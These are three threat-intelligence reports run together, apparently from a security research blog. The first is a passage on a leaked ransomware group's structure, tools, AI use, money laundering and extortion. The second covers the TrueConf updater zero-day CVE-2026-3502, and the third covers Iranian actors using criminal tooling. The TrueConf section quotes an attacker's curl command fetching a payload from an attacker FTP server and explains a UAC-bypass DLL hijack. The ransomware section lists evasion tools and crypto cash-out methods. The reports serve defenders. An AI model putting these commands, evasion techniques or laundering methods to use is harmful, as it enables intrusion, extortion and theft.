The message continues in a dismissive tone toward the leak seller and then shifts focus back to “more interesting” topics. These include a full overhaul of the communication structure, the deployment of a new NAS with unlimited storage, and several technical upgrades to the locker, such as removing hardware breakpoints, performing NTDLL unhooking, and patching ETW to suppress Event Tracing for Windows.
Demanding ransom from a RaaS
On May 5th, 2026, the account n7778 with TOX ID 7862AE03A73AAC2994A61DF1F635347F2D1731A77CACC155594C6B681D201F7AD6817AD3AB0A advertised the sale of The Gentlemen’s hacked data on underground forums for 10,000 USD, payable in Bitcoin.
Figure 7 — Account selling The Gentlemen RaaS Data.
In the following days, the same account posted two MediaFire links containing proof files supporting the claimed leak.
Figure 8 — Partial leaks.
The first leaked data is a text file that contains the contents of the shadow file from The Gentlemen’s server, including user account entries and their password hashes. The file lists many usernames, among them zeta88, 3NT3R, B1d3n, C0CA, d0wnloAd1, equal1z3r, F3N1X, Gblog88, JLL, LDW, n0n3, PRTGRS, W1Z. Notably, we again see the zeta88 account, the same handle that was used in the initial underground post advertising the RaaS program, further linking this server to the RaaS administrator.
Figure 9 — shadow file content.
The second leaked data set contains partial conversations between the RaaS operators and their affiliates across several internal channels (such as INFO, general, TOOLS, and PODBOR). In these chats, they coordinate ongoing intrusions, exchange toolsets and EDR‑kill packages, discuss infrastructure and backend components, review CVEs and exploit paths, and talk about specific victims, campaigns, and payouts.
While the partial leaked data that we obtained is around 44.4 MB, a screenshot shared by the same account on another underground forum shows a total size of approximately 16.22 GB, which likely corresponds to the full leaked data set.
Figure 10 — Full leaked data screenshot.
Roles & Structure
The group appears to have a clear division of roles and responsibilities. At the core, the main operator and developer, zeta88 (most likely hastalamuerte), runs the infrastructure and builds and maintains the custom ransomware locker, the RaaS panel and builder (Linux with containers and a TOR front), as well as the GPO‑based spread mechanism and the locker’s “spread” module. This operator also curates toolsets in the TOOLS channel, including EDR kill kits and kiljalki collections, selects targets, and assigns them to specific teams, often talking about “targets”, “подбор” (selection) channels, and distributing corporate victims to groups of 2–3 people. In addition, they manage payouts and negotiations, including multi‑million ransom discussions (“переговоры на 10кк”).
Figure 11 — Image shared in the chats, zeta88 – Admin.
Considering our previous assessment that the RaaS administrator also runs campaigns himself (based on TOX IDs), the leaked chats reinforce this view: they show him personally deploying the locker and encrypting at least one victim’s environment.
Figure 12 — zeta88 locking message.
Often, messages sent by zeta88 appear to be copied or adapted from earlier messages made by hastalamuerte, and affiliates frequently mention hastalamuerte by name. Taken together with previous findings and earlier RaaS posts linked to zeta88, these patterns strongly suggest that hastalamuerte and zeta88 are very likely the same person.
Figure 13 — zeta88 – hastalamuerte message.
Below this core role, key operators or affiliates such as qbit and quant handle more hands‑on operational work. qbit is a practical operator on many cases, responsible for scanning and filtering Fortinet VPNs and other edge devices, performing reconnaissance and persistence (including “крепиться клаудом” (English: “to establish persistence via the cloud”) through Cloudflare tunnels or Zero Trust solutions), and using tools such as NetExec (NXC), RelayKing, PrivHound, and NTLM relay scanning. qbit frequently requests clear EDR killer sets, manuals, and guidance for locking ESXi environments, and also brings in new bot or access suppliers (“поставщик ботов”) (English: “supplier of bots”). quant focuses on log‑based access (“логи ЛБ”, i.e. spilled credentials for OWA/O365 and similar services) and maintains a custom log parser and proprietary credential/data collector, referred to as buildx641, which is run from a domain‑joined machine, uses vssadmin, shadow copies, ntds.dit, and SYSTEM copies, and collects and compresses data from multiple hosts. quant is oriented toward OW/OVA spam and higher‑value (“тир1”) (English: “tier‑1”) victims and has set up a powerful “brute server” (Threadripper PRO, 128 GB RAM, RTX 5090) for large‑scale brute forcing.
Around these core and key operators, there are several other accounts, including Wick, mAst3r, Protagor, Bl0ck, JeLLy, Kunder, and Mamba who take on various roles such as red‑teamers, advertising partners, access brokers, or case‑specific collaborators; for example, Protagor is mentioned in connection with OV (online vault/OWA‑type) spam, while Mamba acts as an access broker for Fortinet VPNs sourced from ramp.
Through this specific leak, we identified 9 unique accounts actively communicating with each other: Kunder, qbit, JeLLy, Protagor, zeta88, Bl0ck, Wick, quant, and mAst3r. This internal interaction pattern supports the view that these accounts form a coordinated operational network within The Gentlemen RaaS ecosystem. This number aligns with our earlier assessment based on the unique TOX IDs extracted from the ransomware lockers.
Group members collaborate on various infections and share the profits as well. As a result, the 90% share allocated to the affiliate is often split among multiple affiliates who worked together to achieve a successful intrusion.
Figure 14 — Collaboration and profit sharing.
Based on the analyzed chat messages, the organization’s structure appears to match the model shown in the following image. It is likely that additional members exist who do not appear in this specific leak, but the roles and relationships we observe here are consistent across the available data. There are also indications of an internal separation between trusted members and newcomers—for example, one message notes that “that Rocket is still alive – there are rookies there”—suggesting a tiered or layered structure within the group.
Figure 15 — Organization diagram.
Operational workflow
The conversations from the leak show a fairly standard but well‑organized operational workflow. The group claims to usually gain initial access through exposed edge devices such as VPN appliances, firewalls, and other internet-facing systems, with a particular focus on platforms like Fortinet FortiGate and Cisco. They combine different methods to achieve this, including credential brute‑forcing against web or VPN panels, exploiting known vulnerabilities, and buying access from third‑party “bot” or access brokers. Screenshots shared in the chats also show them searching for accounts and credentials in data‑breach search engines. Once they obtain a foothold, they treat these systems as pivots to move deeper into the internal network.
Figure 16 — Searching credentials & accounts.
After gaining access, the operators perform internal reconnaissance and privilege escalation to understand the environment and obtain higher-level permissions, often aiming for domain administrator access. They rely on a mixture of Active Directory discovery, certificate abuse, and various local privilege escalation techniques. At the same time, they invest significant effort into disabling or bypassing security tools such as EDR and antivirus solutions, using a combination of misconfigurations, registry abuse, logging mechanisms, and bring-your-own-vulnerable-driver–style (BYOD) techniques to tamper with or overwrite security binaries.
With elevated access and reduced defensive visibility, the group focuses on expanding across the network and preparing for the final stages of the attack. This includes lateral movement, establishing additional tunnels or proxies for reliable connectivity, and relaxing security settings to make further operations easier. They also harvest credentials and browser-based sessions to reuse existing access to corporate services. Data exfiltration is then carried out using automated tools and tuned configurations to move large volumes of data efficiently, often targeting NAS devices, backup systems, and virtualization infrastructure. Finally, once the environment is prepared and critical data is in their control, they deploy their custom ransomware “locker,” which is designed to spread quickly across the network, leverage existing administrator sessions, and encrypt systems in a coordinated manner.
Tools & Infra
The leaked conversations show that The Gentlemen RaaS operators use a repeatable and fairly mature toolset to support their operations. For remote access and C2, they rely on frameworks like ZeroPulse and Velociraptor, combined with Cloudflare-based tunnels and custom VPN setups to keep stable access into compromised networks. For offensive operations, they use a range of red‑team utilities such as NetExec, RelayKing, TaskHound, PrivHound, CertiHound, and others to perform Active Directory discovery, certificate abuse, privilege escalation, and file share discovery. A separate group of tools is dedicated to EDR and AV evasion, including EDRStartupHinder, gfreeze, glinker, and DumpBrowserSecrets, as well as techniques inspired by public research on abusing Windows logging and Event Tracing for Windows (ETW). Finally, they support these activities with infrastructure and helper tools like port scanners (gogo.exe), usage guides, OSINT extensions, and password‑cracking services, which together give them a reusable framework for running repeated intrusions and ransomware deployments.
Category
Tool / Resource
Purpose / Usage
Reference / Notes
C2 / Remote Access
ZeroPulse
Remote access / C2 framework for controlling compromised hosts.
https://github.com/jxroot/ZeroPulse
C2 / Remote Access
Velociraptor
Used as a covert C2 platform, including memory and LSASS dumping.
Often used with signed builds to reduce detection.
C2 / Remote Access
Cloudflare Zero Trust / Tunnels
Provides stealthy tunnels into victim networks over HTTPS.
The leaked chats show that the group pays close attention to other ransomware operations, including the leaked Black Basta negotiations. In particular, they discuss Black Basta’s approach to code signing and note how that group allegedly used VirusTotal to search for legitimate code‑signing certificates, which were then targeted for brute‑force attacks on their private keys. The Gentlemen actors refer to this technique as a model they can reuse or adapt, highlighting their interest in abusing trusted certificates to make their binaries look legitimate and harder to detect.
Figure 17 — Code signing conversations.
AI mentions
The Gentlemen mention AI usage in multiple channels and for various purposes. While it is clear that they have already used AI for code‑assisted development, including experiments with Chinese models, more advanced use cases—such as locally deploying models to analyze large volumes of exfiltrated victim data—are only discussed at a conceptual level. These ideas are suggested in the chats but do not appear to be fully implemented.
zeta88 states that he built the GLOCKER admin panel in three days using AI‑assisted coding. He is candid about the limitations of this approach, noting that while AI can speed up development, you still need to understand what you are doing and be able to guide and correct the code it produces.
Figure 18 — zeta88 “vibe-coded” the Panel.
Members share their AI preferences across different chats. zeta88 states that he finds DeepSeek, Qwen, Kimi, and Emi the most effective models for his purposes, particularly for coding assistance and technical queries.
Figure 19 — AI preferences.
He also suggests adding more Chinese LLMs to their toolkit, in addition to those they are already considering or using, such as DeepSeek and Qwen.
Figure 20 — Chinese LLMs suggestions.
A couple of months later, qbit shares in the INFO channel their recommendation for “the most radical neural network, which creates any content without censorship. Runs on Qwen 3.5 with all barriers removed… Zero refusals. Absolutely no restrictions.”
Figure 21 — Qwen 3.5 post.
zeta88 directs affiliates to use AI as a quick reference—for example, to look up FortiGate internals—rather than asking in the channel.
Figure 22 — Usage of AI as quick reference.
For more challenging tasks such as operational data analysis, identifying high‑value access points, and offloading much of the manual data‑triage work to an AI model, the operators explicitly discuss using an uncensored, self‑hosted LLM. However these suggestions appear to remain theoretical, as Protagor admits, “I have no idea how to do that, but I think it’s possible.”
Figure 23 — Local, self-hosted LLM.
Screenshot shared in the chats shows an LLM response on how to send an email to all users via the Jira admin interface, in Russian. It describes two methods, mainly using Jira Automation and user groups.
Figure 24 — Screenshot shared in the chats.
The group appears to be experimenting with well‑known Chinese LLMs and has considered using locally hosted models to assist with data triage on stolen information.
CVEs and Exploits
While the group discusses these vulnerabilities, shares related links, and occasionally attempts to exploit specific systems using particular CVEs, we cannot confirm whether the targeted machines were actually vulnerable to the exact vulnerabilities they referenced.
CVE-2024-55591 – FortiOS management interface
This vulnerability affects the FortiOS management interface and fits directly into their broader focus on Fortinet appliances as high‑value initial access points. While the chats do not show detailed exploitation steps, the presence of this CVE alongside their FortiGate targeting suggests it is part of the set of vulnerabilities they track for potential use against exposed management interfaces.
In the logs, qbit shares a proof-of-concept (PoC) for CVE-2025-32433, and zeta88 comments on its quality and applicability. This shows that the group is not simply aware of the CVE but is actively evaluating whether it can be used in real operations, specifically in environments where Cisco or Erlang-based SSH services are exposed. Even if they are cautious about PoC reliability, the discussion confirms that this vulnerability is part of their potential exploit toolkit.
Figure 26 — qbit & zeta88 related posts.
CVE-2025-33073 – NTLM reflection / NTLM relay
qbit references RelayKing and shares output showing domains being scanned for NTLM relay issues, including checks that explicitly cover CVE-2025-33073. This is strong evidence that they are not just reading about the vulnerability but have integrated RelayKing into their standard reconnaissance process to generate target lists for tools like ntlmrelayx. In other words, CVE-2025-33073 is a vulnerability they actively scan for and intend to exploit as part of broader NTLM relay workflows.
Figure 27 — Mention of CVE-2025-33073.
Other Exploit Paths (Without Explicit CVE IDs)
The operators also make heavy use of technique-based exploits where no specific CVE number is mentioned in the chats. These include:
MSI service abuse via RegPwn, used for privilege escalation.
Veeam to domain admin paths, based on public write‑ups about misconfigured backup infrastructure.
iDRAC to domain admin paths, leveraging Dell iDRAC weaknesses.
WPR, AutoLogger, and ETW manipulation techniques documented by zerosalarium and others to overwrite or disable security binaries.
Payments & Negotiations
Zeta88 acts as the organizer/administrator, distributing cryptocurrency payouts to team members (including those who are “AFK”) and advising on how to cash out proceeds via Bitcoin wallets (Guarda, Trust Wallet, Exodus). The group discusses AML (Anti-Money Laundering) evasion strategies. Zeta88 sends a BTC transaction to Kunder as a payout, which Kunder confirms receiving.
Figure 28 — Transaction link shared.
The specific mentions of how they handle Bitcoin laundering/cash out:
Exchange Chains (“связки обмена”) Zeta88 mentions running ~800 transactions through “buy desks” (скупов) via exchange chains, or sometimes sending directly, suggesting chain-hopping to obscure transaction origins.
AML Checking They discuss whether their BTC is “clean” and reference a buyer who actively checks AML scores before transacting. They’re uncertain how the scoring works but are aware their coins could be traced.
Tinkoff QR Code Cash-Out A specific method mentioned: a buyer converts BTC to cash via Tinkoff bank QR codes, with minimums of 400k rubles (previously 250k). This converts crypto directly to Russian banking infrastructure.
Physical Cash Delivery Kunder mentions “locking in the rate” and a guy physically bringing cash at the end of the month, a classic peer-to-peer OTC (over-the-counter) arrangement that bypasses exchanges entirely.
Wallet Infrastructure They recommend non-custodial wallets (Guarda, Trust Wallet, Exodus) specifically to avoid KYC/AML controls that centralized exchanges enforce.
Blurry screenshots from the leak also shed light on the financial side of the operation. Although not fully legible, they appear to show a negotiation where the group secured approximately 190,000 USD after a discount of about 60,000 USD from the initial ransom demand.
Figure 29 — Agreement to pay 190,000 USD.
zeta88 is very aware of the importance of maximizing pressure on extorted victims to increase the chances of payment. In his private channel, he drafts a generic follow‑up letter that can be adapted to any company, emphasizing the costs of not paying the ransom, including regulatory exposure, reputational damage, and operational impact, and citing assessments from previous attacks. This is not the standard ransom note deployed alongside the encryption, but an additional, more tailored communication intended to reinforce the pressure on the victim.
Figure 30 — Negotiation playbook.
Interesting Negotiation Case
In a high‑profile attack in April 2026, a software consultancy company from United Kingdom publicly reported a breach. The company’s leadership stated in an open letter that only “typical business data, including business contact information, contracts, and NDAs related to client work” had been accessed.
From what appears to be a personal channel used by zeta88, he drafts a ransom demand letter addressed to the UK company, detailing what The Gentlemen claim to have exfiltrated, including customer infrastructure data, secrets, OAuth credentials, and more. The letter explicitly emphasizes potential GDPR violations as leverage to pressure the victim into paying.
Figure 31 — Ransom note.
Two weeks later, the group published the consultancy’s identity and breach details on their data leak site (DLS). According to the internal chats, data exfiltrated from the consultancy was then reused both before and during attacks against a company in Turkey, where The Gentlemen gained initial access via a vulnerable VPN appliance.
Figure 32 — Forti access to company in Turkey.
zeta88 ran this operation alongside Protagor, creating a backdoor Okta service account himself—typical of his intensive, hands‑on involvement in many of the intrusions documented in the leaked discussions. During the same campaign, zeta88 explicitly references data from the UK consultancy breach to cross‑reference and enrich information about the Turkish company, illustrating how prior compromises are used to enrich and support new attacks.
Figure 33 — UK company containing information for Turkish company.
One example mentioned was an internal “Transfer/Migration Document” (in the local language), an internal project document the consultancy maintained in its own collaboration platform describing work they did for the company in Turkey. This document, stolen in the first breach, was then used in the second.
The group discussed how best to use this access for extortion. In their internal chats, they talked about publishing the company from Turkey on their DLS together with a statement that, The access to the company in Turkey was obtained through the compromised consultancy from United Kingdom.
Figure 34 — DLS statement discussions.
This served a dual purpose:
Punishing the consultancy (UK), which the actors described as “a very bad company.”
Increasing pressure on the company in Turkey, by promising to show exactly how they gained access so that, the Turkish would be encouraged to legally pursue the consultancy in UK.
Figure 35 — Initial access proof.
Eventually, the Turkish company was published on the group’s DLS, and the attackers “credited” the consultancy in UK as their “access broker”.
Their View of Other RaaS Programs and Actors
The actors consistently frame the RaaS ecosystem through the lenses of brand strength, payout reliability, and affiliate leverage (percentage splits and control over negotiations). Among the programs mentioned, they clearly distinguish a small “top tier” from a broader landscape of lesser or untrusted players.
Program / Group
Things Discussed
Subjective Sentiment (Their View)
HelloKitty
Name/brand as something they’d like to use; jokes about linking to the real Hello Kitty site and putting (R) everywhere; described explicitly as a “мощный бренд”.
Very positive on brand strength and recognition; sees it as a powerful marketing asset.
Kraken
Mention that “товарищи кракен” wrote to qbit; qbit later says their team might “move” over to zeta88’s side.
Neutral‑pragmatic; current or past orbit, but clearly willing to switch away for better options.
Dragon Force
One of only two programs zeta88 would choose from “all presented”; explicitly says they pay both operators and adverts; only negative comments heard were about their software/panel.
Strongly positive overall; trusted, in the top tier of programs they respect.
Gunra
Listed among candidate PPs for a supplier; zeta88 says “че эт ваще такое…”, and lumps it with Hyflock; calls the operator “этот мудень”.
Negative; unserious / low‑relevance; clear disdain for the operator.
Hyflock
Same context as Gunra; zeta88 dismisses it in the same breath as Gunra, with the same derogatory comment about the person behind it.
Negative; grouped with Gunra as not to be taken seriously.
ShadowByt3$ RAAS
Appears in the candidate list; zeta88 simply comments “хз” (doesn’t know).
Neutral; no formed opinion, neither trust nor distrust expressed.
Anubis
Appears in the candidate list; zeta88 asks “% видел он?”, focusing on what percentage they take.
Cautious / skeptical; interest hinges on profit split; no clear positive trust.
CHAOS
Appears in the candidate list; zeta88 asks whether they will still take that supplier (“возьмут ли они его еще”).
Uncertain; doubts about acceptance / relationship continuity; not a clearly preferred option.
LockBit (tooling)
quant asks what a локбит тулза actually is (builder or decryptor), notes he has not opened it; no explicit evaluation of the group itself.
Curious but cautious; tooling is not trusted or fully understood yet; no explicit sentiment on LockBit group.
Black Basta / Devman
quant asks if “блек баста это девман”; zeta88 speaks harshly about “David” and his link to Devman, calls him “мудак” and “чепуха”, wishes them невыплат (non‑payment).
Strongly negative but personalized; animosity toward David/Devman rather than a structured view of the RaaS.
“Red team” / Mr Beng cluster
Mentions Редтим=красный лотос=арсен=баламут=студент and “мистер БЕНГ”; mocks offer of 15k for “source code” of a C2 built on top of white tools (Velociraptor, etc.); ridicules this as overpriced and based on legitimate software.
Negative; sees them as overpriced grifters repackaging white tools with heavy marketing.
Conclusion
The Gentlemen RaaS program has quickly evolved into a highly active and structured ransomware ecosystem. With over 320 public victims in 2026 and hundreds more systems visible through related infrastructure, it stands among the most productive RaaS operations that maintain a public data‑leak presence. The leaked Rocket backend and internal chats show that this scale is driven not by a loose crowd, but by a small, tightly coordinated core of about 9 named operators and at least 8 distinct affiliate TOX IDs, all organized around the administrator zeta88 / hastalamuerte, who both runs the platform and participates directly in operations.
The leak reveals a repeatable, human‑operated ransomware playbook: initial access through exposed edge infrastructure (such as VPNs and management interfaces), rapid expansion and privilege escalation, heavy investment in EDR/AV evasion and ETW/logging tampering, and systematic use of shared tools for discovery, lateral movement, credential theft, and data exfiltration. The group actively tracks and evaluates modern vulnerabilities, including CVE-2024-55591, CVE-2025-32433, and CVE-2025-33073and combines them with technique‑driven paths like backup and management‑controller abuse and NTLM relay workflows, giving them a flexible exploitation pipeline.
Overall, The Gentlemen exemplifies how contemporary RaaS programs blend productized ransomware with professional intrusion teams. A small, well‑organized set of operators, supported by curated tooling, structured communication channels, and up‑to‑date exploit knowledge, can generate substantial impact in a short time. For defenders, this underscores the need to harden internet‑facing services, close known misconfigurations and relay paths, and monitor for the specific tools, workflows, and TOX‑based communication patterns tied to this group.
Check Point Research identified a zero-day vulnerability in the TrueConf client application, tracked as CVE-2026-3502, with a CVSS score of 7.8. The flaw stems from the abuse of TrueConf’s updater validation mechanism, allowing an attacker who controls the on-premises TrueConf server to distribute and execute arbitrary files across all connected endpoints.
This vulnerability has been exploited in-the-wild as part of a targeted campaign we call “TrueChaos” against government entities in Southeast Asia, where the threat actor abused the TrueConf update mechanism to deploy the Havoc payload to vulnerable machines.
Based on the observed TTPs, command and control infrastructure and victimology, we assess with moderate confidence that this activity is associated with a Chinese-nexus threat actor.
Check Point Research responsibly disclosed this vulnerability to TrueConf. Following our notification, the vendor developed a fix, which is included in the TrueConf Windows client starting with version 8.5.3, which was released in March 2026. The current version of the desktop apps is 8.5.2.
Introduction
At the beginning of 2026, Check Point Research observed a series of targeted attacks against government entities in Southeast Asia carried out via a legitimate TrueConf software installed in the targets’ environment. The investigation led to the discovery of a zero-day vulnerability in the TrueConf client, tracked as CVE-2026-3502 with a CVSS score of 7.8. The flaw affects the application’s updater validation mechanism and allows an attacker controlling an on-premises TrueConf server to distribute and execute arbitrary files across connected endpoints.
TrueConf is a video conferencing platform that supports both on-premises and cloud deployments and is used across multiple regions, most prominently in Russia, as well as in East Asia, Europe, and the Americas. Serving more than 100,000 organisations globally, their global customers range from key governments and defense departments and critical infrastructure industries to significant businesses such as banks, power and TV stations. In enterprise environments, its on-premises architecture creates a trusted relationship between the central server and connected clients, especially through the platform’s update mechanism.
Basically, TrueConf acts as an on-premises video conferencing solution that operates entirely within a private local network (LAN) without requiring an internet connection. It is primarily used by government, military, and critical infrastructure sectors to ensure absolute data privacy and communication autonomy in secure or remote environments. In locations with poor or no internet connectivity, or during natural disasters when traditional networks are down, it facilitates essential coordination. By hosting the server on internal hardware, all audio, video, and chat traffic remains strictly contained on-site, with offline activation available for fully air-gapped systems.
In this particular case, that trust was abused to deliver malware due to improper validation in the update process. In the observed in-the-wild activity, operation “TrueChaos”, the threat actor used the trusted update channel of a centrally managed on-premises TrueConf server to distribute malicious updates to multiple connected government agencies in a South Eastern country.
The victimology and regional focus of the campaign suggest an espionage-motivated operation. In combination with the observed TTPs and command-and-control infrastructure, these indicators point with moderate confidence to a Chinese-nexus threat actor.
About TrueConf
TrueConf is a video conferencing platform that supports both on-premises and cloud deployments. Although it is most widely used in Russia, it also has a notable presence across parts of East Asia, Europe, and the Americas. To better understand the potential scope of the vulnerability, we reviewed internet exposed TrueConf servers to assess the platform’s geographic distribution and the possible reach of the attack. This view is necessarily incomplete, as many TrueConf deployments may operate entirely in on-premises environments and remain inaccessible from the public internet.
Figure 1 – Geographic Distribution of Internet-Exposed TrueConf Servers
CVE-2026-3502 Root Cause Analysis
When the TrueConf client starts, it checks the connected on-premises server for available updates. If the server has a newer client version than the one installed, the application prompts the user to download the update from https://{trueconf_server}/downlods/trueconf_client.exe, which maps to the file stored on the server under C:\Program Files\TrueConf Server\ClientInstFiles\.
Figure 2 – TrueConf Application Update Prompt
TrueConf client update starts when the client detects a version mismatch in favor of the TrueConf on-premises server, the client alerts the user that a newer version is available and offers to download it.
The vulnerability stems from the lack of integrity and authenticity checks in this update flow. An attacker who gains control of the on-premises TrueConf server can replace the expected update package with an arbitrary executable, presented as the current application version, and distribute it to all connected clients. Because the client trusts the server-provided update without proper validation, the malicious file can be delivered and executed under the guise of a legitimate TrueConf update.
The infections began when TrueConf client application launched, probably by a link sent to the target from the attacker. This link launched the already installed TrueConf client and presented an update prompt claiming that a newer version was available.
Prior to the victim’s interaction, the attacker had already replaced the update package on the TrueConf on-premises server with a weaponized version, ensuring that the client retrieved a malicious file through the normal update process.
The compromised TrueConf on-premises server was operated by the governmental IT department and served as a video conferencing platform for dozens of government entities across the country, which were all supplied with the same malicious update.
Analysis of the downloaded package showed that it was a weaponized client update. The installation was built by Inno Setup. It would successfully upgrade the client version from 8.5.1 to the current at the time 8.5.2. Alongside the legitimate TrueConf installation components, the package dropped a benign poweriso.exe executable and a malicious 7z-x64.dll file to the path c:\programdata\poweriso\, which was then loaded through DLL side-loading.
Figure 5 – Malicious Client Update Attack Chain
Using the malicious 7z-x64.dll implant, the attacker performed a series of hands-on-keyboard actions focused on reconnaissance, environment preparation, persistence, and the retrieval of additional payloads.
Figure 6 – Attacker Hands-on-Keyboard Activity
Initial reconnaissance included commands such as:
tasklist > cache
tracert 8.8.8.8 -h 5
Downloaded from the FTP server an additional loader isciexe.dll, and extract it to the %temp% directory:
curl -u ftpuser:<redacted> ftp://47.237.15[.]197/update.7z -oc:\program files\winrar\winrar.exe x update.7z -p <redacted>
iscsicpl.exe is a legitimate Windows binary that can be abused for UAC bypass because its 32-bit SysWOW64 version is auto-elevated and is vulnerable to DLL search-order hijacking for iscsiexe.dll. By placing a malicious iscsiexe.dll in a user-controlled location referenced through the user’s %PATH%, an attacker can cause Windows to resolve and load that DLL in the context of the elevated iscsicpl.exe, resulting in privilege escalation without a UAC prompt.
The downloaded update.7z archive contained a legitimate 7z.exe binary alongside iscsiexe.dll, a component used by the attackers as part of the post-compromise workflow. Check Point Research also identified additional variants of the archive that included an encrypted 7z archive named rom.dat. At the time of analysis, the contents and purpose of rom.dat remained unclear.
The iscsiexe.dll component appears to be a simple, custom persistence and privilege escalation tool. Rather than serving as a full-featured backdoor, its role was limited to maintaining execution of winexec.exe, which is the renamed poweriso.exe binary dropped earlier in the infection chain.
Figure 7 – Pseudo-Code of iscsiexe.dll
Although Check Point Research did not recover the exact final-stage payload associated with the malicious 7z-x64.dll activity, it observed network communication to 47.237.15[.]197, an attacker-controlled server running Havoc C2 infrastructure, and also identified Havoc demon sample linked to actor C2 infrastructure. Based on this combined evidence, Check Point Research assesses with high confidence that the missing payload was a Havoc implant.
Havoc is an open-source post-exploitation framework intended for penetration testing and adversary emulation, but it has also been repeatedly abused by threat actors in real-world intrusions, including Chinese-nexus Amaranth Dragon activity recently documented by Check Point Research.
Attribution
Check Point Research assesses with moderate confidence that operation TrueChaos is associated with a Chinese-nexus threat actor. The assessment is based on a combination of factors, including TTPs consistent with Chinese-nexus operations such as DLL sideloading, the use of Alibaba Cloud and Tencent hosting for command-and-control infrastructure and the victimology aligns with Chinese nexus strategic interests.
We also observed that the same victim was targeted within the same time frame by ShadowPad malware framework. This may indicate overlap in operator tooling, shared access, or the presence of multiple China-aligned actors targeting the same organization in parallel.
Conclusion
The exploitation of CVE-2026-3502 did not require the attacker to compromise each endpoint individually. Instead, the attacker abused the trusted relationship between a central on-premises TrueConf server and its clients. By replacing a legitimate update with a malicious one, they turned the product’s normal update flow into a malware distribution channel across multiple connected government networks.
From a research perspective, this case shows how monitoring and analysing routine execution techniques can uncover far more significant threats. What initially appeared to be a signed binary used for DLL sideloading ultimately led to the discovery of a zero-day vulnerability in TrueConf’s update validation mechanism.
Hunting Recommendations
In order to identify whether you have been compromised, review the following indicators and hunting opportunities across the affected system:
Check whether trueconf_windows_update.exe is unsigned, as an unsigned update executable may indicate that the file is suspicious or has been tampered with.
Treat the system as potentially infected if C:\ProgramData\PowerISO\poweriso.exe is present on disk, especially if this file is not expected in your environment.
Treat the system as potentially infected if the registry value HKCU\Software\Microsoft\Windows\CurrentVersion\Run\UpdateCheck points to C:\ProgramData\PowerISO\PowerISO.exe, as this indicates persistence through a user logon autorun entry.
Treat the system as potentially infected if files such as %AppData%\Roaming\Adobe\update.7z, 7za.exe, iscsiexe.dll, or rom.dat are present, or if there is evidence that they were recently created and then deleted.
Hunt for file creation activity in which trueconf_windows_update.tmp creates C:\ProgramData\PowerISO\poweriso.exe or 7z-x64.dll, as this behavior is consistent with the observed delivery chain.
Hunt for poweriso.exe spawning commands through cmd.exe, particularly when the command line includes tools or utilities such as curl, winrar.exe, or netstat, since this may indicate download, extraction, or discovery activity.
Hunt for the suspicious parent-child process chain trueconf.exe -> trueconf_windows_update.exe -> trueconf_windows_update.tmp -> any executable, as this sequence may reveal execution of the malicious payload.
Iran-linked actors are increasingly engaging with the cyber crime ecosystem. Their activity suggests a growing reliance on criminal tools, services, and operational models in support of state objectives.
Iranian actors have long used cyber crime and hacktivism as cover for destructive activity, but the trend now suggests direct engagement with the criminal ecosystem.
This dynamic appears most prominently among Ministry of Intelligence and Security (MOIS)-linked actors, particularly Void Manticore (a.k.a “Handala Hack”) and MuddyWater, where repeated overlaps with criminal tools, services, or clusters have been observed.
Such engagement offers a dual advantage: it enhances operational capabilities through access to mature criminal tooling and resilient infrastructure, while complicating attribution and contributing to recurring confusion around Iranian threat activity.
Introduction
For years, Iranian intelligence services have operated through deniable criminal intermediaries in the physical world. A similar pattern is now becoming visible in cyber space, where state objectives are increasingly pursued through criminal tools, services, and operational models. Notably, this dynamic appears with growing frequency in activity associated with actors linked to the Ministry of Intelligence and Security (MOIS).
For a long time, Iranian actors sought to mask state activity behind the appearance of ordinary cyber crime, most often by posing as ransomware operators. The trend we are seeing now goes beyond imitation. Rather than simply adopting criminal and hacktivist personas to complicate attribution, some Iranian actors appear to be associating with the cyber criminal ecosystem itself, leveraging its malware, infrastructure, and affiliate-style mechanisms. This shift matters because it does more than improve deniability; it can also expand operational reach and enhance technical capability.
In this blog, we examine several cases that reflect this evolution, including Iranian-linked use of ransomware branding, commercial infostealers, and overlaps with criminal malware clusters. Taken together, these examples suggest that for some MOIS-associated actors, cyber crime is no longer just a cover story, but an operational resource.
Background – MOIS and Criminal Activity
Long before concern shifted to the digital arena, some of the clearest signs of cooperation between Iran’s intelligence services and criminal actors appeared in plots involving surveillance, kidnappings, shootings, and assassination attempts. In those cases, the value of criminal networks was straightforward: they gave Tehran reach, deniability, and access to people willing to carry out violence at arm’s length.
According to the U.S. Treasury, one of the clearest examples involved the network led by narcotics trafficker Naji Ibrahim Sharifi-Zindashti, which Treasury said operated at the behest of MOIS and targeted dissidents and opposition activists. The FBI has similarly said that an MOIS directorate operated the Zindashti criminal network and its associates against Iranian dissidents in the United States.
Sweden has described a similar pattern. According to Sweden’s Security Service, the Iranian regime has used criminal networks in Sweden to carry out violent acts against states, groups, and individuals it sees as threats; Swedish officials later linked that concern to attacks aimed at Israeli and Jewish targets, including incidents near Israel’s embassy in Stockholm.
Recent activity we have analyzed and associate with MOIS-affiliated cyber actors suggests that the same logic is now being applied in the cyber domain. The emphasis is not only on imitating cyber criminal behavior, but on associating with the cyber criminal ecosystem itself: drawing on its infrastructure, access brokers, marketplaces, and affiliate-style relationships.
Void Manticore (Handala) and Rhadamanthys
Void Manticore, an Iranian threat actor linked to several hack-and-leak personas, is one of the most active groups pursuing strategic objectives through cyber operations. It has leveraged “hacktivistic” personas such as Homeland Justice in attacks against Albania and Handala in operations targeting Israel. While the group is most commonly associated with “hack and leak” operations and disruptive attacks, particularly wiper operations, the emergence of its Handala persona also revealed the use of a commercial infostealer sold on darknet forums: Rhadamanthys.
Figure 1 – A Handala email impersonating the Israeli National Cyber Directorate (INCD) delivering Rhadmanthys.
Rhadamanthys is a widely used infostealer employed by a range of threat actors, including both financially motivated groups and state-sponsored operators. It has built a strong reputation due to its complex architecture, active development, and frequent updates. Handala used Rhadamanthys on several occasions, pairing it with one of its custom wipers in phishing lures aimed at Israeli targets, most dominantly impersonating F5 updates.
MuddyWater – Tsundere Botnet and the Castle Loader Connection
MuddyWater, a threat actor that U.S. authorities have linked to Iran’s MOIS, has conducted cyber espionage and other malicious operations focused on the Middle East for years. According to CISA, MuddyWater is a subordinate element within MOIS and has carried out broad campaigns in support of Iranian intelligence objectives, targeting government and private-sector organizations across sectors including telecommunications, defense, and energy.
Recent reports detailing the activity of MuddyWater link its operations to several cyber crime clusters of activity. This appears to work in the actors’ favor: the use of such tools has created significant confusion, leading to misattribution and flawed pivoting, and clustering together activities that are not necessarily related. This demonstrates that the use of criminal software can be effective for obfuscation, and highlights the need for extreme caution when analyzing overlapping clusters.
Figure 2 – Summary of MuddyWater connections to criminal activity.
